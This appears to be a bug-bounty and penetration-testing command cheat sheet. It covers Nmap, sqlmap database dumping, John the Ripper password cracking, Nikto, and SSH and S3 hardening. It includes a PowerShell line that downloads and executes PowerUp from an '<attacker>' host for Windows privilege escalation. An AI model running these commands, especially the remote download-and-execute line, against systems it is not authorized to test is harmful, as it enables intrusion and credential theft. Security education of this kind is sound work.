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Introduction
Bug bounty hunting and penetration testing require a deep understanding of cybersecurity tools, commands, and exploitation techniques. This article compiles verified Linux, Windows, and cybersecurity commands, along with step-by-step guides on how to use them effectively in vulnerability assessment, exploitation, and mitigation.
Learning Objectives
- Master essential Linux and Windows commands for penetration testing.
- Learn how to identify and exploit common vulnerabilities.
- Understand defensive techniques to secure systems against attacks.
1. Network Scanning with Nmap
Command:
nmap -sV -A -T4 target.com
What It Does:
-sV: Detects service versions.-A: Enables aggressive scanning (OS detection, script scanning).-T4: Sets timing template for faster scanning.
How to Use:
1. Install Nmap:
sudo apt install nmap Linux
2. Run the scan against a target IP or domain.
3. Analyze open ports, services, and potential vulnerabilities.
2. Exploiting SQL Injection with SQLmap
Command:
sqlmap -u "http://example.com/page?id=1" --dbs
What It Does:
- Automates SQL injection detection and exploitation.
--dbs: Lists available databases.
How to Use:
1. Install SQLmap:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
2. Run SQLmap against a vulnerable URL.
- Extract database information using additional flags like `–tables` or
--dump.
3. Password Cracking with John the Ripper
Command:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
What It Does:
- Performs dictionary attacks on password hashes.
- Uses `rockyou.txt` as a common wordlist.
How to Use:
1. Extract password hashes from a target system.
2. Save hashes in a file (`hashes.txt`).
3. Run John the Ripper with the wordlist.
4. Windows Privilege Escalation with PowerUp
Command (PowerShell):
Invoke-AllChecks
What It Does:
- Identifies misconfigurations for privilege escalation in Windows.
How to Use:
1. Load PowerUp in a PowerShell session:
IEX (New-Object Net.WebClient).DownloadString("http://<attacker>/PowerUp.ps1")
2. Run `Invoke-AllChecks` to find vulnerabilities.
5. Securing SSH with Key-Based Authentication
Command:
ssh-keygen -t rsa -b 4096
What It Does:
- Generates a secure SSH key pair.
How to Use:
- Run the command to create a key pair.
2. Copy the public key to the server:
ssh-copy-id user@server
3. Disable password authentication in `/etc/ssh/sshd_config`:
PasswordAuthentication no
6. Detecting Vulnerabilities with Nikto
Command:
nikto -h http://example.com
What It Does:
- Scans for web vulnerabilities (misconfigurations, outdated software).
How to Use:
1. Install Nikto:
sudo apt install nikto
2. Run the scan against a target web server.
7. Cloud Security: AWS S3 Bucket Hardening
Command (AWS CLI):
aws s3api put-bucket-acl --bucket my-bucket --acl private
What It Does:
- Restricts S3 bucket access to prevent data leaks.
How to Use:
1. Ensure AWS CLI is configured (`aws configure`).
- Apply strict bucket policies to avoid public exposure.
What Undercode Say
- Key Takeaway 1: Mastering command-line tools is crucial for efficient penetration testing.
- Key Takeaway 2: Automation (SQLmap, Nmap) speeds up vulnerability discovery.
- Future Impact: As AI-driven security tools evolve, bug bounty hunters must adapt to automated defense mechanisms while refining manual exploitation skills.
By integrating these commands into your workflow, you can enhance both offensive and defensive cybersecurity capabilities.
IT/Security Reporter URL:
Reported By: Omar Xhacking – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
